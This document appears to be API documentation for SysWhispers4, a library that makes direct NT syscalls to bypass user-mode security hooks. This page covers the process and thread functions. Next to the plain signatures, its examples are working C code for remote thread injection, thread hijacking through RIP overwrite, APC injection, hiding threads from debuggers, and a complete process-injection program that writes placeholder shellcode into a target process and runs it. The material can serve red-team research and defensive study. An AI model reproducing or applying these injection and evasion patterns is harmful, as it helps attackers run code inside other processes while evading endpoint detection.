> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/JoasASantos/SysWhispers4/llms.txt
> Use this file to discover all available pages before exploring further.
# Process & Thread Functions
> NT syscall functions for process and thread creation, manipulation, and synchronization
## Overview
SysWhispers4 provides comprehensive process and thread management via direct syscalls, bypassing user-mode hooks on functions like `CreateRemoteThread`, `OpenProcess`, etc.
## Process Functions
### NtOpenProcess
Opens a handle to an existing process.
```c theme={null}
NTSTATUS SW4_NtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
```
#### Parameters
Pointer to a variable that receives the process handle.
Access rights. Common values:
* `PROCESS_ALL_ACCESS` (0x1FFFFF)
* `PROCESS_VM_READ` (0x0010)
* `PROCESS_VM_WRITE` (0x0020)
* `PROCESS_VM_OPERATION` (0x0008)
* `PROCESS_CREATE_THREAD` (0x0002)
Pointer to `OBJECT_ATTRIBUTES` structure. Use `{sizeof(OBJECT_ATTRIBUTES)}` for default.
Pointer to `CLIENT_ID` structure identifying the process:
```c theme={null}
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
```
#### Example
```c theme={null}
#include "SW4Syscalls.h"
int main(void) {
SW4_Initialize();
DWORD targetPid = 1234;
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
NTSTATUS status = SW4_NtOpenProcess(
&hProcess,
PROCESS_ALL_ACCESS,
&oa,
&cid
);
if (NT_SUCCESS(status)) {
printf("[+] Opened process %lu -> handle 0x%p\n", targetPid, hProcess);
// Use the handle...
SW4_NtClose(hProcess);
} else {
fprintf(stderr, "[!] NtOpenProcess failed: 0x%08X\n", status);
}
return 0;
}
```
***
### NtCreateProcess
Creates a new process (legacy function, rarely used).
```c theme={null}
NTSTATUS SW4_NtCreateProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ParentProcess,
BOOLEAN InheritObjectTable,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE TokenHandle
);
```
***
### NtCreateProcessEx
Extended process creation (preferred over `NtCreateProcess`).
```c theme={null}
NTSTATUS SW4_NtCreateProcessEx(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE TokenHandle,
ULONG Reserved
);
```
***
### NtCreateUserProcess
Comprehensive process creation (Windows Vista+).
```c theme={null}
NTSTATUS SW4_NtCreateUserProcess(
PHANDLE ProcessHandle,
PHANDLE ThreadHandle,
ACCESS_MASK ProcessDesiredAccess,
ACCESS_MASK ThreadDesiredAccess,
POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG ProcessFlags,
ULONG ThreadFlags,
PVOID ProcessParameters,
PPS_CREATE_INFO CreateInfo,
PPS_ATTRIBUTE_LIST AttributeList
);
```
`NtCreateUserProcess` is complex and requires extensive setup. For most use cases, use `CreateProcess` from Win32 or perform process hollowing via `NtCreateSection` + `NtMapViewOfSection`.
***
### NtTerminateProcess
Terminates a process.
```c theme={null}
NTSTATUS SW4_NtTerminateProcess(
HANDLE ProcessHandle,
NTSTATUS ExitStatus
);
```
#### Parameters
Handle to process. Use `NULL` or `GetCurrentProcess()` to terminate current process.
Exit code for the process.
#### Example
```c theme={null}
// Terminate remote process
HANDLE hProcess = ...; // from NtOpenProcess
SW4_NtTerminateProcess(hProcess, 0);
SW4_NtClose(hProcess);
```
***
### NtSuspendProcess
Suspends all threads in a process (Windows Vista+).
```c theme={null}
NTSTATUS SW4_NtSuspendProcess(
HANDLE ProcessHandle
);
```
#### Example
```c theme={null}
HANDLE hProcess = ...;
SW4_NtSuspendProcess(hProcess); // All threads frozen
// Perform operations...
SW4_NtResumeProcess(hProcess); // Resume execution
```
***
### NtResumeProcess
Resumes all threads in a suspended process.
```c theme={null}
NTSTATUS SW4_NtResumeProcess(
HANDLE ProcessHandle
);
```
***
### NtQueryInformationProcess
Retrieves information about a process.
```c theme={null}
NTSTATUS SW4_NtQueryInformationProcess(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
```
#### Common Information Classes
| Class | Value | Returns |
| ------------------------------- | ----- | ----------------------------------------------- |
| `ProcessBasicInformation` | 0 | `PROCESS_BASIC_INFORMATION` (PEB address, etc.) |
| `ProcessDebugPort` | 7 | Debug port handle (0 = not debugged) |
| `ProcessImageFileName` | 27 | Full path to executable |
| `ProcessCommandLineInformation` | 60 | Command-line string |
#### Example: Get PEB Address
```c theme={null}
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status = SW4_NtQueryInformationProcess(
GetCurrentProcess(),
ProcessBasicInformation,
&pbi,
sizeof(pbi),
NULL
);
if (NT_SUCCESS(status)) {
printf("[+] PEB at: %p\n", pbi.PebBaseAddress);
}
```
***
### NtSetInformationProcess
Sets process information.
```c theme={null}
NTSTATUS SW4_NtSetInformationProcess(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
```
#### Example: Set Critical Process
```c theme={null}
// Make process critical (BSOD on termination - use with caution!)
ULONG isCritical = 1;
SW4_NtSetInformationProcess(
GetCurrentProcess(),
ProcessBreakOnTermination, // 29
&isCritical,
sizeof(isCritical)
);
```
***
## Thread Functions
### NtCreateThreadEx
Creates a thread in a process.
```c theme={null}
NTSTATUS SW4_NtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PPS_ATTRIBUTE_LIST AttributeList
);
```
#### Parameters
Receives the thread handle.
Access rights (use `THREAD_ALL_ACCESS` or `0x1FFFFF`).
Usually `NULL`.
Target process handle (use `GetCurrentProcess()` for local thread).
Thread entry point address.
Argument passed to thread function.
Creation flags:
* `0` — Start immediately
* `0x00000001` — Create suspended
* `0x00000004` — Hide from debugger
#### Example: Remote Thread Injection
```c theme={null}
// After writing shellcode to remoteBase in target process:
HANDLE hThread = NULL;
NTSTATUS status = SW4_NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL, // ObjectAttributes
hProcess, // Target process
remoteBase, // Shellcode address
NULL, // No argument
0, // Start immediately
0, 0, 0, // Stack defaults
NULL // No attribute list
);
if (NT_SUCCESS(status)) {
printf("[+] Remote thread created: 0x%p\n", hThread);
SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
SW4_NtClose(hThread);
}
```
***
### NtOpenThread
Opens a handle to an existing thread.
```c theme={null}
NTSTATUS SW4_NtOpenThread(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
```
#### Example
```c theme={null}
DWORD targetTid = 5678;
HANDLE hThread = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { NULL, (HANDLE)(ULONG_PTR)targetTid };
SW4_NtOpenThread(&hThread, THREAD_ALL_ACCESS, &oa, &cid);
```
***
### NtSuspendThread
Suspends a thread.
```c theme={null}
NTSTATUS SW4_NtSuspendThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount
);
```
#### Example
```c theme={null}
HANDLE hThread = ...;
ULONG prevCount;
SW4_NtSuspendThread(hThread, &prevCount);
printf("[*] Thread suspended (previous count: %lu)\n", prevCount);
// Perform operations on suspended thread...
SW4_NtResumeThread(hThread, NULL);
```
***
### NtResumeThread
Resumes a suspended thread.
```c theme={null}
NTSTATUS SW4_NtResumeThread(
HANDLE ThreadHandle,
PULONG SuspendCount
);
```
***
### NtTerminateThread
Terminates a thread.
```c theme={null}
NTSTATUS SW4_NtTerminateThread(
HANDLE ThreadHandle,
NTSTATUS ExitStatus
);
```
***
### NtGetContextThread
Retrieves a thread's CPU context (registers).
```c theme={null}
NTSTATUS SW4_NtGetContextThread(
HANDLE ThreadHandle,
PCONTEXT ThreadContext
);
```
#### Example
```c theme={null}
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
SW4_NtGetContextThread(hThread, &ctx);
printf("[*] RIP: 0x%llx\n", ctx.Rip);
printf("[*] RSP: 0x%llx\n", ctx.Rsp);
```
***
### NtSetContextThread
Sets a thread's CPU context.
```c theme={null}
NTSTATUS SW4_NtSetContextThread(
HANDLE ThreadHandle,
PCONTEXT ThreadContext
);
```
#### Example: Thread Hijacking
```c theme={null}
// Suspend target thread
SW4_NtSuspendThread(hThread, NULL);
// Get current context
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
SW4_NtGetContextThread(hThread, &ctx);
// Hijack RIP to point to shellcode
ctx.Rip = (DWORD64)shellcodeAddress;
// Set modified context
SW4_NtSetContextThread(hThread, &ctx);
// Resume — thread now executes shellcode
SW4_NtResumeThread(hThread, NULL);
```
***
### NtQueueApcThread
Queues an APC (Asynchronous Procedure Call) to a thread.
```c theme={null}
NTSTATUS SW4_NtQueueApcThread(
HANDLE ThreadHandle,
PPS_APC_ROUTINE ApcRoutine,
PVOID ApcArgument1,
PVOID ApcArgument2,
PVOID ApcArgument3
);
```
#### Example: APC Injection
```c theme={null}
// Thread must be in alertable wait state (e.g., SleepEx, WaitForSingleObjectEx)
HANDLE hThread = ...; // Target thread
PVOID shellcodeAddr = ...;
SW4_NtQueueApcThread(
hThread,
(PPS_APC_ROUTINE)shellcodeAddr,
NULL, NULL, NULL
);
printf("[+] APC queued — will execute when thread enters alertable state\n");
```
***
### NtQueueApcThreadEx
Extended APC queuing (Windows 7+).
```c theme={null}
NTSTATUS SW4_NtQueueApcThreadEx(
HANDLE ThreadHandle,
HANDLE ReserveHandle,
PPS_APC_ROUTINE ApcRoutine,
PVOID ApcArgument1,
PVOID ApcArgument2,
PVOID ApcArgument3
);
```
***
### NtTestAlert
Tests if APCs are pending for the current thread and executes them.
```c theme={null}
NTSTATUS SW4_NtTestAlert(VOID);
```
***
### NtAlertThread
Alerts a thread (forces APC delivery).
```c theme={null}
NTSTATUS SW4_NtAlertThread(
HANDLE ThreadHandle
);
```
***
### NtAlertResumeThread
Alerts and resumes a thread in one operation.
```c theme={null}
NTSTATUS SW4_NtAlertResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount
);
```
***
### NtQueryInformationThread
Retrieves thread information.
```c theme={null}
NTSTATUS SW4_NtQueryInformationThread(
HANDLE ThreadHandle,
THREADINFOCLASS ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength
);
```
#### Example: Check if Thread is in Alertable State
```c theme={null}
ULONG alertable;
SW4_NtQueryInformationThread(
hThread,
ThreadIsIoPending, // Or other classes
&alertable,
sizeof(alertable),
NULL
);
```
***
### NtSetInformationThread
Sets thread information.
```c theme={null}
NTSTATUS SW4_NtSetInformationThread(
HANDLE ThreadHandle,
THREADINFOCLASS ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength
);
```
#### Example: Hide Thread from Debugger
```c theme={null}
ULONG hideFromDebugger = 1;
SW4_NtSetInformationThread(
GetCurrentThread(),
ThreadHideFromDebugger, // 17
NULL, // No buffer needed for this class
0
);
```
***
## Synchronization Functions
### NtWaitForSingleObject
Waits for an object to be signaled.
```c theme={null}
NTSTATUS SW4_NtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
```
#### Parameters
Handle to wait on (thread, process, event, etc.).
If `TRUE`, function returns when an APC is queued.
Timeout in 100-nanosecond intervals. Use `NULL` for infinite wait.
#### Example
```c theme={null}
// Wait for thread to complete
SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
printf("[+] Thread completed\n");
```
***
### NtWaitForMultipleObjects
Waits for multiple objects.
```c theme={null}
NTSTATUS SW4_NtWaitForMultipleObjects(
ULONG Count,
PHANDLE Handles,
WAIT_TYPE WaitType,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
```
#### Parameters
* `WaitAll` (0) — Wait for all objects
* `WaitAny` (1) — Wait for any object
***
### NtSignalAndWaitForSingleObject
Signals one object and waits for another in one atomic operation.
```c theme={null}
NTSTATUS SW4_NtSignalAndWaitForSingleObject(
HANDLE SignalHandle,
HANDLE WaitHandle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
```
***
### NtClose
Closes a handle.
```c theme={null}
NTSTATUS SW4_NtClose(
HANDLE Handle
);
```
Always close handles when done to avoid handle leaks.
#### Example
```c theme={null}
HANDLE hProcess = ...;
// Use the handle...
SW4_NtClose(hProcess);
```
***
### NtDuplicateObject
Duplicates a handle.
```c theme={null}
NTSTATUS SW4_NtDuplicateObject(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG HandleAttributes,
ULONG Options
);
```
***
## Complete Example: Process Injection
Combining process and thread functions:
```c theme={null}
#include
#include "SW4Syscalls.h"
static const unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0xC3 // nop; nop; nop; ret
};
int main(void) {
if (!SW4_Initialize()) return 1;
DWORD targetPid = 1234;
// 1. Open process
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
NTSTATUS status = SW4_NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
if (!NT_SUCCESS(status)) return 1;
// 2. Allocate memory
PVOID base = NULL;
SIZE_T size = sizeof(shellcode);
SW4_NtAllocateVirtualMemory(hProcess, &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 3. Write shellcode
SW4_NtWriteVirtualMemory(hProcess, base, (PVOID)shellcode,
sizeof(shellcode), NULL);
// 4. Change to RX
ULONG oldProt;
SW4_NtProtectVirtualMemory(hProcess, &base, &size,
PAGE_EXECUTE_READ, &oldProt);
// 5. Create thread
HANDLE hThread = NULL;
status = SW4_NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, base, NULL, 0, 0, 0, 0, NULL);
if (NT_SUCCESS(status)) {
printf("[+] Remote thread created\n");
SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
SW4_NtClose(hThread);
}
SW4_NtClose(hProcess);
return 0;
}
```
## Next Steps
NT file I/O operations
Token manipulation and privilege escalation